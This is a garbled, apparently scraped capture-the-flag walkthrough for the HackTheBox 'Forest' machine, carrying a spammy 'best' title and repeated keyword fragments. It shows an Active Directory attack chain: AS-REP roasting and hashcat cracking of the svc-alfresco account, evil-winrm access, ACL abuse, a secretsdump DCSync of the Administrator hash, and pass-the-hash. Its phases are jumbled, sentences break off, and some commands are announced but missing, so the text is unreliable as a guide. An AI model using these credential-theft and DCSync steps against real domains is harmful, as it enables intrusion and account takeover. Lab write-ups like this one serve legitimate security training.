Forest Hackthebox Walkthrough Best <90% RELIABLE>
hashcat -m 18200 asreproast.hashes /usr/share/wordlists/rockyou.txt --force s3rvice (password for svc-alfresco ) Phase 3: Gaining User Access Now we have credentials: svc-alfresco:s3rvice Connect via WinRM Since port 5985 is open, use evil-winrm :
cd C:\Users\svc-alfresco\Desktop type user.txt Phase 4: Privilege Escalation (User to Administrator) The path to root.txt is not a simple kernel exploit—it's an AD misconfiguration. Step 1: Enumerate Current Privileges From the WinRM session, run:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:hash_string... Save the hash and crack it with hashcat (mode 18200 for AS-REP hashes). forest hackthebox walkthrough best
Port 5985 is open, meaning we can use Evil-WinRM later—no need for RDP. DNS & Domain Dump Add the machine to your /etc/hosts file:
ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" This reveals the domain name: htb.local and several users. Forest is vulnerable to Kerberos AS-REP Roasting because some users have the Do not require Kerberos preauthentication setting enabled. Step 1: Enumerate Users Use enum4linux or impacket-GetADUsers to list domain users. hashcat -m 18200 asreproast
impacket-secretsdump -just-dc htb.local/svc-alfresco:s3rvice@10.10.10.161 This will dump the NTLM hash of the Administrator account.
cd C:\Users\Administrator\Desktop type root.txt Summary of Attack Path | Step | Action | Tool | |------|--------|------| | 1 | Scan ports & enumerate AD | Nmap, ldapsearch | | 2 | AS-REP Roast svc-alfresco | impacket-GetNPUsers | | 3 | Crack hash | Hashcat | | 4 | WinRM access as svc-alfresco | evil-winrm | | 5 | BloodHound enumeration | bloodhound-python | | 6 | Abuse WriteOwner on Exchange Windows Permissions | PowerView | | 7 | DCSync to get Admin hash | impacket-secretsdump | | 8 | Pass-the-Hash to root | evil-winrm | Why This Is the Best Walkthrough Many guides stop at AS-REP roasting and WinRM. But the best Forest HackTheBox walkthrough must explain why you can’t just run a simple exploit: Active Directory privilege escalation is about understanding ACLs, group ownership, and DCSync. Port 5985 is open, meaning we can use
Now, use mimikatz or impacket-secretsdump to perform DCSync:
